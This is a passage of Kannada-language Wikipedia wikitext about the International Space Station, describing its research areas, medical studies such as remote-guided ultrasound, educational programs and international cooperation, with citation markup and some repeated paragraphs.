2008|accessdate=17 February 2009}}</ref> ಗಗನಯಾತ್ರೆ 15 ಮುಗಿಯುವ ಹೊತ್ತಿಗೆ 138 ಪ್ರಮುಖ ವಿಜ್ಞಾನ ಪರೀಕ್ಷೆಗಳನ್ನು ISS ನ ಮೇಲೆ ನಡೆಸಲಾಗಿತ್ತು.<ref name="Bergin">{{cite web|title=ISS: Still in assembly, producing science research accomplishments|url=http://www.nasaspaceflight.com/2009/08/iss-assembly-producing-science-research-accomplishments/|accessdate=27 September 2009|date=22 August 2009|author=Chris Bergin|publisher=NASASpaceflight.com}}</ref> ಪರಿಶೋಧನಾ ಉದ್ದೇಶದ ಸಂಶೋಧನೆಗಾಗಿ, ಮೂಲ ವಿಜ್ಞಾನದ ಮೂಲಕ ಆಯಾ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಮಾಡಲಾಗುವ ಪರೀಕ್ಷೆಗಳಿಂದ ಪಡೆಯುವ, ವೈಜ್ಞಾನಿಕ ಆವಿಷ್ಕಾರಗಳನ್ನು ಪ್ರತಿ ತಿಂಗಳೂ ಪ್ರಕಟಿಸಲಾಗುತ್ತದೆ.<ref name="ResProg">{{cite web|url=http://spaceflightsystems.grc.nasa.gov/Advanced/ISSResearch/|title=ISS Research Program|publisher=NASA|accessdate=27 February 2009|archive-date=13 ಫೆಬ್ರವರಿ 2009|archive-url=https://web.archive.org/web/20090213140014/http://spaceflightsystems.grc.nasa.gov/Advanced/ISSResearch/|url-status=dead}}</ref> ಬಾಹ್ಯಾಕಾಶನೌಕೆಯ ವ್ಯವಸ್ಥೆಗಳನ್ನು ಪರೀಕ್ಷಿಸಲು, ಪೃಥ್ವಿಯ ನಿಕಟವರ್ತಿ ಕಕ್ಷೆಯಲ್ಲಿ ತುಲನಾತ್ಮಕವಾಗಿ ಸುರಕ್ಷಿತವಾಗಿರುವ ಸ್ಥಳವನ್ನು ISS ಒದಗಿಸುತ್ತದೆ. ಈ ವ್ಯವಸ್ಥೆಯು ಚಂದ್ರ ಮತ್ತು [[ಮಂಗಳ (ಗ್ರಹ)|ಮಂಗಳ]] ಗ್ರಹಗಳ ಮೇಲೆ ದೀರ್ಘಕಾಲದವರೆಗೆ ಕೈಗೊಳ್ಳುವ ಯಾತ್ರೆಗೆ ಅವಶ್ಯಕವಾಗಿರುತ್ತದೆ. ಇದು ಕಕ್ಷೆಯ ಮೇಲಿನ ವ್ಯವಸ್ಥೆಗಳ ನಿರ್ವಹಣೆಯಲ್ಲದೇ, ಸರಿಮಾಡುವುದರಲ್ಲಿ ಮತ್ತು ಬದಲಾಯಿಸುವುದರಲ್ಲಿನ ಅನುಭವ ನೀಡುತ್ತದೆ. ಭೂಮಿಯಿಂದ ಮುಂದೆ ಬಾಹ್ಯಾಕಾಶ ನೌಕೆಯನ್ನು ಚಲಾಯಿಸಲು ಈ ಅನುಭವದ ಅಗತ್ಯವಿರುತ್ತದೆ. ಗಗನಯಾತ್ರೆಯ ಅಪಾಯವನ್ನು ತಗ್ಗಿಸಲಾಗಿದೆ. ಅಲ್ಲದೇ ಅಂತರಗ್ರಹ ಬಾಹ್ಯಾಕಾಶನೌಕೆಯ ಸಾಮರ್ಥ್ಯಗಳನ್ನು ಪರಿಷ್ಕರಿಸಲಾಗಿದೆ.<ref name="ResProg" /> ಶೈಕ್ಷಣಿಕ ಪ್ರಭಾವ ಮತ್ತು ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಹಯೋಗ, ಸಿಬ್ಬಂದಿ ಯಾತ್ರೆಯ ಭಾಗವಾಗಿವೆ. ISS ನ ಸಿಬ್ಬಂದಿ, ವಿದ್ಯಾರ್ಥಿಗಳು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿಕಸಿತ ಪ್ರಯೋಗಗಳನ್ನು ನಡೆಸಿ ಮತ್ತು ಶೈಕ್ಷಣಿಕ ಪ್ರದರ್ಶನಗಳನ್ನು ಮಾಡುವ ಮೂಲಕ ಸಂಭಂಧಿಸಿದ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಅವಕಾಶಗಳನ್ನು ಒದಗಿಸುತ್ತಾರೆ. ಅಲ್ಲದೇ ISS ಪ್ರಯೋಗಗಳು, NASA ಪರೀಕ್ಷಕನ ಪ್ರಯೋಗಗಳು, ಮತ್ತು ISS ಇಂಜಿನಿಯರಿಂಗ್ ಕಾರ್ಯಚಟುವಟಿಕೆಯ ಶಾಲಾಕೊಠಡಿ ಆವೃತ್ತಿಗಳಲ್ಲಿ ಭಾಗವಹಿಸಲು ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಅವಕಾಶ ನೀಡುತ್ತಾರೆ. ISS ಕಾರ್ಯಯೋಜನೆಯು ಅದು ಪ್ರತಿನಿಧಿಸುವ ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಹಯೋಗದೊಂದಿಗೆ, ಸ್ವತಃ 14 ರಾಷ್ಟ್ರಗಳಿಗೆ ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ಇರಲು ಮತ್ತು ಒಟ್ಟಿಗೆ ಕಾರ್ಯನಿರ್ವಹಿಸಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ. ಅಲ್ಲದೇ ಭವಿಷ್ಯದ ಬಹು-ರಾಷ್ಟ್ರೀಯ ವೈಜ್ಞಾನಿಕ ಕಾರ್ಯಾಚರಣೆಗೆ ಪಠ್ಯ ವಿಷಯಗಳನ್ನು(ಪಾಠ) ಒದಗಿಸುತ್ತದೆ.<ref name="ISSRG" /><ref name="Gro Mjeldheim Sandal and Dietrich Manzey 1520–1529">{{cite journal|author=Gro Mjeldheim Sandal and Dietrich Manzey|title=Cross-cultural issues in space operations: A survey study among ground personnel of the European Space Agency|journal=Acta Astronautica|volume=65|date=December 2009|pages=1520–1529|doi=10.1016/j.actaastro.2009.03.074|issue=11–12}}</ref> ===ವೈಜ್ಞಾನಿಕ ಸಂಶೋಧನೆ=== {{Main|Scientific research on the ISS|l1=Scientific research on the ISS}} [[File:ISS-08_Michael_Foale_conducts_an_inspection_of_the_Microgravity_Science_Glovebox.jpg|thumb|alt=A man wearing a blue polo shirt reached into a large machine. The machine has a large windows at the front with two holes in it for access, and is full of scientific apparatus. Transient space station hardware is visible in the background.|ಸೂಕ್ಷ್ಮ ಗುರುತ್ವ ವಿಜ್ಞಾನದ ಗ್ಲವ್ ಬಾಕ್ಸ್ ನ ಪರೀಕ್ಷೆಯನ್ನು ಮಾಡುತ್ತಿರುವ, ಗಗನಯಾತ್ರೆ 8 ರ ಕಮಾಂಡರ್ ಮತ್ತು ವಿಜ್ಞಾನ ಅಧಿಕಾರಿಯಾದ ಮೈಕೆಲ್ ಫೋಲೆ.]] ಇಲ್ಲಿ ISS, ನಿಲ್ದಾಣದ ಮೇಲೆ ಅಗತ್ಯವಿರುವ ಒಂದು ಅಥವಾ ಅಧಿಕ ಅಸಾಮಾನ್ಯವಾದ ವಿಶೇಷ ಸ್ಥಿತಿಗಳ ಸಾಂದರ್ಭಿಕ ಪ್ರಯೋಗಗಳನ್ನು ನಡೆಸಲು ವೇದಿಕೆ ಒದಗಿಸುತ್ತದೆ. ಸಂಶೋಧನೆಯ ಪ್ರಧಾನ ಕ್ಷೇತ್ರಗಳು ಕೆಳಕಂಡಂತಿವೆ: ಮಾನವ ಸಂಶೋಧನೆ, ಬಾಹ್ಯಾಕಾಶ ಔಷಧಿ, ಜೀವ ಶಾಸ್ತ್ರಗಳು, ಭೌತಿಕ ಶಾಸ್ತ್ರಗಳು, [[ಖಗೋಳಶಾಸ್ತ್ರ|ಖಗೋಳ ವಿಜ್ಞಾನ]] ಮತ್ತು ಪವನಶಾಸ್ತ್ರ.<ref name="ISS overview" /><ref name="NASA Fields of Research" /><ref name="NASA ISS Goals" /> 2005 ರ NASA ಅಧಿಕಾರ ಅಧಿಕೃತಗೊಳಿಸುವ ಕಾಯಿದೆ , ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣದ ಅಮೇರಿಕನ್ ಭಾಗವನ್ನು, ಇತರ ಸಂಯುಕ್ತ ಪ್ರತಿನಿಧಿಗಳಿಂದ ಮತ್ತು ಖಾಸಗಿ ಕ್ಷೇತ್ರಗಳಿಂದ, ISS ಅನ್ನು ಹೆಚ್ಚಾಗಿ ಬಳಸುವಂತೆ ಮಾಡುವ, ಉದ್ದೇಶ ಹೊಂದಿರುವ ರಾಷ್ಟ್ರೀಯ ಪ್ರಯೋಗಾಲಯವೆಂದು ಪ್ರಮಾಣೀಕೃತವಾಗಿದೆ.<ref>{{cite web|title=NASA Authorization Act 2005|url=http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=109_cong_public_laws&docid=f:publ155.109.pdf|publisher=[[United States Government Printing Office]]|date=30 December 2005|accessdate=6 March 2009}}</ref> ISS ನ ಮೇಲೆ ನಡೆಸಿದ ಸಂಶೋಧನೆಯು, ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ದೀರ್ಘಕಾಲದವರೆಗೆ ಒಡ್ಡುವಿಕೆಯಿಂದ ಮಾನವನ ದೇಹದ ಮೇಲೆ ಉಂಟಾಗುವ ಪರಿಣಾಮಗಳ ಬಗೆಗಿನ ಜಾಗೃತಿ ಜ್ಞಾನವನ್ನು ಸುಧಾರಿಸುತ್ತದೆ. ಪ್ರಸ್ತುತ ಕೆಳಕಂಡ ವಿಷಯಗಳು ಅಧ್ಯಯನಕ್ಕೆ ಒಳಪಟ್ಟಿವೆ: ಸ್ನಾಯು ಕ್ಷೀಣತೆ, [[ಆಸ್ಟಿಯೊಪೊರೋಸಿಸ್‌]](ಅಸ್ಥಿರಂಧ್ರತೆ)ಮತ್ತು ಸ್ರವಿ ಬದಲಾವಣೆ. ಇದರಿಂದ ಪಡೆದ ದತ್ತಾಂಶವನ್ನು ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ವಾಸಮಾಡಬಹುದೇ ಮತ್ತು ಸುದೀರ್ಘವಾದ ಮಾನವಸಹಿತ ಆಕಾಶಯಾನವನ್ನು ಕಾರ್ಯಸಾಧ್ಯವೇ ಎಂಬುದನ್ನು ನಿರ್ಧರಿಸಲು ಬಳಸಲಾಗುತ್ತದೆ. ಆಗ 2006 ರ ಹೊತ್ತಿಗೆ ಪಡೆಯಲಾದ ಅಸ್ಥಿರಂಧ್ರತೆ ಮತ್ತು ಸ್ನಾಯು ಕ್ಷೀಣಿಸುವಿಕೆಗಳ ಬಗೆಗಿನ ಮಾಹಿತಿ ದತ್ತಾಂಶವು, ಅಂತರಗ್ರಹದ ಮೇಲೆ ದೀರ್ಘಕಾಲದ ಸುತ್ತಾಟದ ನಂತರ (ಉದಾಹರಣೆಗೆ ಮಂಗಳಕ್ಕೆ ಹೋಗಲು ಆರು ತಿಂಗಳು ಪ್ರಯಾಣ ಮಾಡಬೇಕು) ಗಗನಯಾತ್ರಿಗಳು ಗ್ರಹದ ಮೇಲೆ ಇಳಿದರೆ, ಅವರ ಮೂಳೆ ಮುರಿದು ಹೋಗಬಹುದು ಮತ್ತು ಚಲನಾ ಸಮಸ್ಯೆಗಳು ಕಾಣಿಸಿಕೊಳ್ಳಬಹುದಾದ ಸಾಧ್ಯತೆಗಳಿವೆ ಎಂಬುದನ್ನು ಸೂಚಿಸುತ್ತದೆ.<ref name="JCB">{{cite book|author=Jay Buckey|title=Space Physiology|publisher=Oxford University Press USA|date=23 February 2006|url=http://www.amazon.co.uk/dp/0195137256?qisbn=1-227-46880-9|isbn=978-0-19-513725-5}}</ref><ref name="List Grossman">{{cite web|url=http://www.newscientist.com/article/dn17476-ion-engine-could-one-day-power-39day-trips-to-mars.html?full=true|publisher=New Scientist|accessdate=8 January 2010|date=24 July 2009|author=List Grossman|title=Ion engine could one day power 39-day trips to Mars}}</ref> ISSನಲ್ಲಿ ನ್ಯಾಷನಲ್ ಸ್ಪೇಸ್ ಅಂಡ್ ಬಯೋ ಮೆಡಿಕಲ್ ರಿಸರ್ಚ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್(NSBRI) ಬೃಹತ್ ಮಟ್ಟದ ವೈದ್ಯಕೀಯ ಅಧ್ಯಯನಗಳನ್ನು ನಡೆಸುತ್ತಿದೆ. ಇವುಗಳಲೆಲ್ಲ ಅಡ್ವಾನ್ಸ್ಡ್ ಡಯಗ್ನಾಸ್ಟಿಕ್ ಅಲ್ಟ್ರಾಸೌಂಡ್ ಇನ್ ಮೈಕ್ರೋಗ್ರಾವಿಟಿ ಅಧ್ಯಯನವು ಅತ್ಯಂತ ಪ್ರಮುಖವಾಗಿದೆ. ಈ ಅಧ್ಯಯನದಲ್ಲಿ ಗಗನಯಾತ್ರಿಗಳು (ISS ನ ಹಿಂದಿನ ಕಮಾಂಡರ್ ಗಳಾದ ಲೆರಾಯ್ ಚಿಯೊ ಮತ್ತು ಗೆನ್ಯಾಡಿ ಪ್ಯಡಲ್ಕ)ದೂರದಲ್ಲಿರುವ ತಜ್ಞರ ಮಾರ್ಗದರ್ಶನದಡಿ ಅಲ್ಟ್ರಾಸೌಂಡ್ ಸ್ಕ್ಯಾನ್ (ಶ್ರವಣಾತೀತ ಸ್ಕ್ಯಾನ್)ಅನ್ನು ಮಾಡುತ್ತಾರೆ. ಈ ಅಧ್ಯಯನವು, ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿನ ವೈದ್ಯಕೀಯ ಪರಿಸ್ಥಿತಿಯ ನಿರ್ಣಯ ಮತ್ತು ಚಿಕಿತ್ಸೆಯನ್ನು ಪರಿಗಣಿಸುತ್ತದೆ. ಸಾಮಾನ್ಯವಾಗಿ, ISS ನಲ್ಲಿ ಯಾವ ವೈದ್ಯರೂ ಇರದ ಕಾರಣ, ವೈದ್ಯಕೀಯ ಪರಿಸ್ಥಿತಿಯನ್ನು ನಿರ್ಣಯಿಸುವುದು ಒಂದು ಸವಾಲಾಗಿರುತ್ತದೆ. ತಜ್ಞ ವೈದ್ಯರನ್ನು ತಲುಪಲು ಕಷ್ಟವಾಗಿರುವ ತುರ್ತುಪರಿಸ್ಥಿತಿ ಮತ್ತು ಗ್ರಾಮೀಣ ಕಾಳಜಿಯ ಸಂದರ್ಭದಲ್ಲಿ, ದೂರದಿಂದ ನಿರ್ದೇಶಿತ ಅಲ್ಟ್ರಾಸೌಂಡ್ ಸ್ಕ್ಯಾನ್ ಗಳನ್ನು ಭೂಮಿಯ ಮೇಲೆ ಅಳವಡಿಸಬಹುದಾಗಿದೆ ಎಂದು ಮುಂಗಾಣಲಾಗಿದೆ.<ref name="Brooke Boen">{{cite web|url=https://www.nasa.gov/mission_pages/station/science/experiments/ADUM.html|date=1 May 2009|accessdate=1 October 2009|author=Brooke Boen|publisher=NASA|title=Advanced Diagnostic Ultrasound in Microgravity (ADUM)|archive-date=6 ಜುಲೈ 2010|archive-url=https://web.archive.org/web/20100706102249/http://www.nasa.gov/mission_pages/station/science/experiments/ADUM.html|url-status=dead}}</ref><ref name="Sishir Rao et al. 2008 745–749">{{cite journal|author=Sishir Rao ''et al''.|year=2008|title=A Pilot Study of Comprehensive Ultrasound Education at the Wayne State University School of Medicine|journal=Journal of Ultrasound in Medicine|volume=27|pages=745–749|url=http://www.jultrasoundmed.org/cgi/content/abstract/27/5/745|pmid=18424650|issue=5}}</ref><ref name="Michael Fincke et al. 2004 319–322">{{cite journal|author=Michael Fincke ''et al''.|year=2004|title=Evaluation of Shoulder Integrity in Space: First Report of Musculoskeletal US on the International Space Station|journal=Radiology|issue=234|pages=319–322|url=http://radiology.rsna.org/content/234/2/319.abstract|pmid=15533948|doi=10.1148/radiol.2342041680|volume=234}}</ref> ನಿಲ್ದಾಣದ ಹತ್ತಿರವಿರುವ-ತೂಕರಹಿತ ಪರಿಸರ, ವಿಕಸನ, ಅಭಿವೃದ್ಧಿ, ಪ್ರಗತಿ ಹಾಗು ಸಸ್ಯಗಳ ಮತ್ತು ಪ್ರಾಣಿಗಳ ಆಂತರಿಕ ಕಾರ್ಯವಿಧಾನದಲ್ಲಿ ಉಂಟುಮಾಡುವ ಪರಿಣಾಮವನ್ನು ಸಂಶೋಧಕರು ಪರೀಕ್ಷಿಸುತ್ತಾರೆ. ಈ ಕೆಲವು ದತ್ತಾಂಶಕ್ಕೆ ಪ್ರತಿಕ್ರಿಯೆಯಾಗಿ, NASA ತನ್ನ ಪ್ರಯೋಗಗಳಲ್ಲಿ ತ್ರಿವಿಮೀತಿಯ, ಮಾನವರಂತಹ ಅಂಗಾಂಶ ಮತ್ತು ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ ರಚನೆಗೊಂಡ ಅಸಾಮಾನ್ಯವಾದ ಪ್ರೋಟೀನ್ ಸ್ಫಟಿಕಗಳ, ಬೆಳವಣಿಗೆಯ ಮೇಲೆ ಸೂಕ್ಷ್ಮ ಗುರುತ್ವದ ಪರಿಣಾಮವನ್ನು ಪರೀಕ್ಷಿಸಲು ಬಯಸುತ್ತದೆ.<ref name="NASA Fields of Research" /> ಸೂಕ್ಷ್ಮ ಗುರುತ್ವದಲ್ಲಿ ನಡೆಸುವ ಸ್ರವಿಯ ಭೌತಶಾಸ್ತ್ರದ ಪರೀಕ್ಷೆಯು, ಸಂಶೋಧಕರಿಗೆ ದ್ರವಗಳ ಪ್ರವೃತ್ತಿಯ ಮಾದರಿಯನ್ನು ಉತ್ತಮವಾಗಿ ರಚಿಸಲು ಅವಕಾಶ ನೀಡುತ್ತದೆ. ಏಕೆಂದರೆ ಸ್ರಾವಗಳು ಸಂಪೂರ್ಣವಾಗಿ ಸೂಕ್ಷ್ಮಗುರುತ್ವದಲ್ಲಿ ಸೇರಿಕೊಳ್ಳುತ್ತವೆ. ಆದರೆ ಈ ತೆರನಾದ ಪ್ರವೃತ್ತಿಯ ಸ್ರಾವಗಳು ಭೂಮಿಯ ಮೇಲೆ ಚೆನ್ನಾಗಿ ಬೆರೆಯುವುದಿಲ್ಲ ಎಂಬುದನ್ನು ಭೌತವಿಜ್ಞಾನಿಗಳು ಕಂಡುಹಿಡಿದಿದ್ದಾರೆ. ಇದರ ಜೊತೆಯಲ್ಲಿ, ಕಡಿಮೆ ಗುರುತ್ವ ಮತ್ತು ತಾಪಮಾನದಿಂದಾಗಿ ನಿಧಾನಗೊಂಡ ಪ್ರತಿಕ್ರಿಯೆಗಳ ಪರೀಕ್ಷೆಗಳು, ವಿಜ್ಞಾನಿಗಳಿಗೆ ಅಧಿವಾಹಕತೆಯ ಬಗ್ಗೆ ಆಳವಾಗಿ ಅರ್ಥಮಾಡಿಕೊಳ್ಳುವಂತೆ ಮಾಡುತ್ತವೆ.<ref name="NASA Fields of Research" /> ವಸ್ತು ವಿಜ್ಞಾನದ ಅಧ್ಯಯನವು ISS ನ ಅತ್ಯಂತ ಪ್ರಮುಖ ಸಂಶೋಧನಾ ಚಟುವಟಿಕೆಯಾಗಿದೆ. ಇದು ಭೂಮಿಯ ಮೇಲೆ ಬಳಸಲಾಗುವ ವಿಧಾನಗಳನ್ನು ಉತ್ತಮಗೊಳಿಸುವ ಮೂಲಕ ಆರ್ಥಿಕ ಅನುಕೂಲತೆಗಳನ್ನು ಪಡೆಯುವ ಗುರಿ ಹೊಂದಿದೆ.<ref name="Materials Science 101">{{cite web|url=http://science.nasa.gov/newhome/headlines/msad15sep99_1.htm|title=Materials Science 101|publisher=Science@NASA|accessdate=18 June 2009|date=15 September 1999|archive-date=14 ಜೂನ್ 2009|archive-url=https://web.archive.org/web/20090614033947/http://science.nasa.gov/newhome/headlines/msad15sep99_1.htm|url-status=dead}}</ref> ದಹನಕ್ರಿಯೆಯ ಮೇಲೆ ಕಡಿಮೆ ಗುರುತ್ವ ಪರಿಸರದ ಪರಿಣಾಮವು ಕೂಡ ಮತ್ತೊಂದು ಆಸಕ್ತಿದಾಯಕ ಕ್ಷೇತ್ರವಾಗಿದೆ. ಇದನ್ನು ದಹನದ ದಕ್ಷತೆಯ ಅಧ್ಯಯನದ ಮೂಲಕ ಹಾಗು ಉತ್ಸರ್ಜನಗಳ ಮತ್ತು ಮಲೀನಕಾರಿಗಳ ನಿಯಂತ್ರಣದ ಮೂಲಕ ಮಾಡಲಾಗುತ್ತದೆ. ಈ ಆವಿಷ್ಕಾರಗಳು ಶಕ್ತಿ ಉತ್ಪಾದನೆಯ ಬಗೆಗಿನ ನಮ್ಮ ಜ್ಞಾನವನ್ನು ಬೆಳೆಸುತ್ತವೆ. ಅಲ್ಲದೇ ಆರ್ಥಿಕ ಮತ್ತು ಪರಿಸರದ ಲಾಭವನ್ನು ಪಡೆಯುವಂತೆ ಮಾಡುತ್ತವೆ. ISS ನಲ್ಲಿ ಸಂಶೋಧಕರು ಭವಿಷ್ಯದಲ್ಲಿ ನಡೆಸಬೇಕಾದ ಸಂಶೋಧನೆಯ ಯೋಜನೆಗಳು ಕೆಳಕಂಡಂತಿವೆ: ಏರೊಸಾಲ್ ಗಳು,(ಗಾಳಿಯಲ್ಲಿ ಹರಡಿದ ಮಂಜು) ಓಝೋನ್, ನೀರಿನ ಹಬೆ ಮತ್ತು ಭೂಮಿಯ ವಾತಾವರಣದಲ್ಲಿ ಆಕ್ಸೈಡ್ ಗಳು ಹಾಗು ಕಾಸ್ಮಿಕ್ ಕಿರಣ ಗಳು, ಬ್ರಹ್ಮಾಂಡದ ಧೂಳಿ, [[ಪ್ರತಿದ್ರವ್ಯ]], ಮತ್ತು ವಿಶ್ವದಲ್ಲಿನ [[ಡಾರ್ಕ್ ಮ್ಯಾಟರ್]] (ಅಜ್ಞಾತ ಕಪ್ಪು ದ್ರವ್ಯ) ನ ಶೋಧನೆ.<ref name="NASA Fields of Research" /> ==ಉದ್ದೇಶ== ಅಂತರರಾಷ್ಟ್ರೀಯ ಬಾಹ್ಯಾಕಾಶ ನಿಲ್ದಾಣ (ISS)ವೆಂಬುದು ಅಂತರರಾಷ್ಟ್ರೀಯವಾಗಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾದ ವಾಸಯೋಗ್ಯ ಉಪಗ್ರಹವಾಗಿದ್ದು, ಇದನ್ನು ಪ್ರಸ್ತುತದಲ್ಲಿ ಪೃಥ್ವಿಯ ನಿಕಟವರ್ತಿ ಕಕ್ಷೆಯಲ್ಲಿ ಜೋಡಿಸಿ ಸ್ಥಾಪಿಸಲಾಗುತ್ತಿದೆ. ISS ಮುಖ್ಯವಾಗಿ NASA ದ ಬಾನಗಾಡಿಯಂತಹ ಬಾಹ್ಯಾಕಾಶ ನೌಕೆಗೆ ಸಂಶೋಧನ ಪ್ರಯೋಗಾಲಯವನ್ನು ಒದಗಿಸಿದೆ. ಏಕೆಂದರೆ ಇದು ಬಾಹ್ಯಾಕಾಶ ಪರಿಸರದಲ್ಲಿ(ಹಗುರವಾಗಿರುವಿಕೆ) ದೀರ್ಘಕಾಲವಿರುವಂತಹ ವೇದಿಕೆಯಾಗಿದ್ದು, ಇಲ್ಲಿ ವ್ಯಾಪಕವಾದ ಅಧ್ಯಯನಗಳನ್ನು ಕೈಗೊಳ್ಳಲಾಗುತ್ತದೆ.<ref name="10th" /><ref name="Worldbook at NASA" /> ಕಾಯಂ ಸಿಬ್ಬಂದಿಯ ಉಪಸ್ಥಿತಿಯು, ಬಾಹ್ಯಾಕಾಶನೌಕೆಗೆ ಅದರ ಪ್ರಯೋಗಗಳನ್ನು ಮತ್ತು ಘಟಕಗಳನ್ನು ಸ್ವತಃ ಎಚ್ಚರಿಕೆಯಿಂದ ನೋಡಿಕೊಳ್ಳುವ, ಅಗತ್ಯವಾದದ್ದನ್ನು ಪುನಃ ಭರ್ತಿಮಾಡಿಕೊಳ್ಳುವ, ಸರಿಮಾಡುವ ಮತ್ತು ಬದಲಾಯಿಸುವ ಸಾಮರ್ಥ್ಯ ಒದಗಿಸುತ್ತದೆ. ಭೂಮಿಯ ಮೇಲಿರುವ ವಿಜ್ಞಾನಿಗಳು ಸಿಬ್ಬಂದಿ ವರ್ಗ ರವಾನಿಸುವ ದತ್ತಾಂಶವನ್ನು ಅತಿ ವೇಗವಾಗಿ ಪರಿಶೀಲಿಸುತ್ತಾರೆ. ಅಲ್ಲದೇ ಪ್ರಯೋಗಗಳನ್ನು ಮಾರ್ಪಡಿಸಬಹುದು ಅಥವಾ ಹೊಸದನ್ನು ಆರಂಭಿಸಬಹುದು. ಸಿಬ್ಬಂದಿರಹಿತ(ಮಾನವರಹಿತ) ಬಾಹ್ಯಾಕಾಶನೌಕೆಯಲ್ಲಿ ಸಾಮಾನ್ಯವಾಗಿ ಅನುಕೂಲತೆಗಳಿರುವುದಿಲ್ಲ.<ref name="Worldbook at NASA" /> ಅನೇಕ ತಿಂಗಳುಗಳ ಕಾಲಾವಧಿಯ ವರೆಗೆ ಗಗನಯಾತ್ರೆಗಳು ಮಾಡುವ ಮತ್ತು ಸಿಬ್ಬಂದಿ ನಡೆಸುವ ಪ್ರತಿ ದಿನದ ವೈಜ್ಞಾನಿಕ ಪ್ರಯೋಗಗಳನ್ನು ಅವರು ದಾಖಲಿಸಿ ಗಮನಿಸುತ್ತಾರೆ.(ಸರಿಸುಮಾರಾಗಿ ವಾರಕ್ಕೆ 160 ಮಾನವ ಗಂಟೆಗಳಂತೆ).<ref name="ISS overview"/><ref name="Science in School"/> ಗಗನಯಾತ್ರೆ 15 ಮುಗಿಯುವ ಹೊತ್ತಿಗೆ 138 ಪ್ರಮುಖ ವಿಜ್ಞಾನ ಪರೀಕ್ಷೆಗಳನ್ನು ISS ನ ಮೇಲೆ ನಡೆಸಲಾಗಿತ್ತು.<ref name="Bergin"/> ಪರಿಶೋಧನಾ ಉದ್ದೇಶದ ಸಂಶೋಧನೆಗಾಗಿ, ಮೂಲ ವಿಜ್ಞಾನದ ಮೂಲಕ ಆಯಾ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಮಾಡಲಾಗುವ ಪರೀಕ್ಷೆಗಳಿಂದ ಪಡೆಯುವ, ವೈಜ್ಞಾನಿಕ ಆವಿಷ್ಕಾರಗಳನ್ನು ಪ್ರತಿ ತಿಂಗಳೂ ಪ್ರಕಟಿಸಲಾಗುತ್ತದೆ.<ref name="ResProg"/> ಬಾಹ್ಯಾಕಾಶನೌಕೆಯ ವ್ಯವಸ್ಥೆಗಳನ್ನು ಪರೀಕ್ಷಿಸಲು, ಪೃಥ್ವಿಯ ನಿಕಟವರ್ತಿ ಕಕ್ಷೆಯಲ್ಲಿ ತುಲನಾತ್ಮಕವಾಗಿ ಸುರಕ್ಷಿತವಾಗಿರುವ ಸ್ಥಳವನ್ನು ISS ಒದಗಿಸುತ್ತದೆ. ಈ ವ್ಯವಸ್ಥೆಯು ಚಂದ್ರ ಮತ್ತು [[ಮಂಗಳ (ಗ್ರಹ)|ಮಂಗಳ]] ಗ್ರಹಗಳ ಮೇಲೆ ದೀರ್ಘಕಾಲದವರೆಗೆ ಕೈಗೊಳ್ಳುವ ಯಾತ್ರೆಗೆ ಅವಶ್ಯಕವಾಗಿರುತ್ತದೆ. ಇದು ಕಕ್ಷೆಯ ಮೇಲಿನ ವ್ಯವಸ್ಥೆಗಳ ನಿರ್ವಹಣೆಯಲ್ಲದೇ, ಸರಿಮಾಡುವುದರಲ್ಲಿ ಮತ್ತು ಬದಲಾಯಿಸುವುದರಲ್ಲಿನ ಅನುಭವ ನೀಡುತ್ತದೆ. ಭೂಮಿಯಿಂದ ಮುಂದೆ ಬಾಹ್ಯಾಕಾಶ ನೌಕೆಯನ್ನು ಚಲಾಯಿಸಲು ಈ ಅನುಭವದ ಅಗತ್ಯವಿರುತ್ತದೆ. ಗಗನಯಾತ್ರೆಯ ಅಪಾಯವನ್ನು ತಗ್ಗಿಸಲಾಗಿದೆ. ಅಲ್ಲದೇ ಅಂತರಗ್ರಹ ಬಾಹ್ಯಾಕಾಶನೌಕೆಯ ಸಾಮರ್ಥ್ಯಗಳನ್ನು ಪರಿಷ್ಕರಿಸಲಾಗಿದೆ.<ref name="ResProg" /> ಶೈಕ್ಷಣಿಕ ಪ್ರಭಾವ ಮತ್ತು ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಹಯೋಗ, ಸಿಬ್ಬಂದಿ ಯಾತ್ರೆಯ ಭಾಗವಾಗಿವೆ. ISS ನ ಸಿಬ್ಬಂದಿ, ವಿದ್ಯಾರ್ಥಿಗಳು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿಕಸಿತ ಪ್ರಯೋಗಗಳನ್ನು ನಡೆಸಿ ಮತ್ತು ಶೈಕ್ಷಣಿಕ ಪ್ರದರ್ಶನಗಳನ್ನು ಮಾಡುವ ಮೂಲಕ ಸಂಭಂಧಿಸಿದ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಅವಕಾಶಗಳನ್ನು ಒದಗಿಸುತ್ತಾರೆ. ಅಲ್ಲದೇ ISS ಪ್ರಯೋಗಗಳು, NASA ಪರೀಕ್ಷಕನ ಪ್ರಯೋಗಗಳು, ಮತ್ತು ISS ಇಂಜಿನಿಯರಿಂಗ್ ಕಾರ್ಯಚಟುವಟಿಕೆಯ ಶಾಲಾಕೊಠಡಿ ಆವೃತ್ತಿಗಳಲ್ಲಿ ಭಾಗವಹಿಸಲು ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಅವಕಾಶ ನೀಡುತ್ತಾರೆ. ISS ಕಾರ್ಯಯೋಜನೆಯು ಅದು ಪ್ರತಿನಿಧಿಸುವ ಅಂತರರಾಷ್ಟ್ರೀಯ ಸಹಯೋಗದೊಂದಿಗೆ, ಸ್ವತಃ 14 ರಾಷ್ಟ್ರಗಳಿಗೆ ಬಾಹ್ಯಾಕಾಶದಲ್ಲಿ 